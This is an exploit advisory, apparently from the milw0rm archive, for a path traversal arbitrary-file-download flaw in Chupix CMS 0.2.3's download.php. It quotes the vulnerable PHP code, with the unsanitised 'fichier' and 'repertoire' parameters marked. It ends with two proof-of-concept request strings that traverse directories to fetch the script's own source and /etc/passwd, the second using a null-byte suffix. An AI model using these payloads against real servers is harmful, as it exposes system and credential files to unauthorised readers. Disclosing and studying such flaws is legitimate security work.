92 lines
No EOL
3 KiB
Text
92 lines
No EOL
3 KiB
Text
# Chupix CMS 0.2.3 (download.php) Remote File Download Vulnerability
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# P.Script : http://sourceforge.net/project/showfiles.php?group_id=134930
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################################download.php################################
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Lain:18->57 ->
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********************************************************************************************************************
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if(isset($_GET['fichier'])){ <--------------XXXX
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*
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// téléchargement du fichier
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*
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$file = "archives/". $_GET['repertoire'] ."/".
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$_GET['fichier'];<--------------XXXX *
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$fichier_txt = "archives/". $_GET['repertoire'] ."/cpt/". $_GET['fichier']
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.".php" *
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$repertoire = "archives/". $_GET['repertoire'] ."/cpt/";
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*
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if(is_file($fichier_txt)){
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*
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$fp = @fopen($fichier_txt, "r"); <--------------XXXX
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*
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$result = fread($fp, filesize ($fichier_txt));
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*
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fclose($fp);
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*
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$result = str_replace("<?php ", "", $result);
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*
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$result = str_replace("?>", "", $result);
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*
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*
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$num = trim($result);
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*
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}else{
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*
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$num = 0;
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*
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}
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*
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$num++;
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*
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*
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$msg = "<?php ". $num ." ?>";
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*
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*
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if(!(is_dir($repertoire))){
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*
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mkdir ($repertoire, 0755);
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*
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}
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*
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*
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$fp = @fopen($fichier_txt, "w+");<--------------XXXX
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*
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if (flock($fp, LOCK_EX)) { // pose un verrou exclusif
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*
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fwrite($fp, $msg);
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*
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flock($fp, LOCK_UN); // libère le verrou
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*
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}else{
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*
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echo "Impossible de verrouiller le fichier <font color=\"maroon\">".
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$fichier ."</font>"; *
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}
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*
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fclose($fp);
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*
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*
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*
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*
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*
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header("Content-type: application/force-download");
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*
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header("Content-Disposition: attachment; filename=".$_GET['fichier']);
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*
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readfile($file);<--------------XXXX
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*
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}
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*
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********************************************************************************************************************
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# POC:
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/download.php?repertoire=defaut&fichier=../../download.php
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/download.php?fichier=../../../../../../../etc/passwd%00
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# Discovered by: GoLd_M
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# SP.TanX = Tryag.Com & Asb-May.Net & Milw0rm.Com
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# milw0rm.com [2007-09-15] |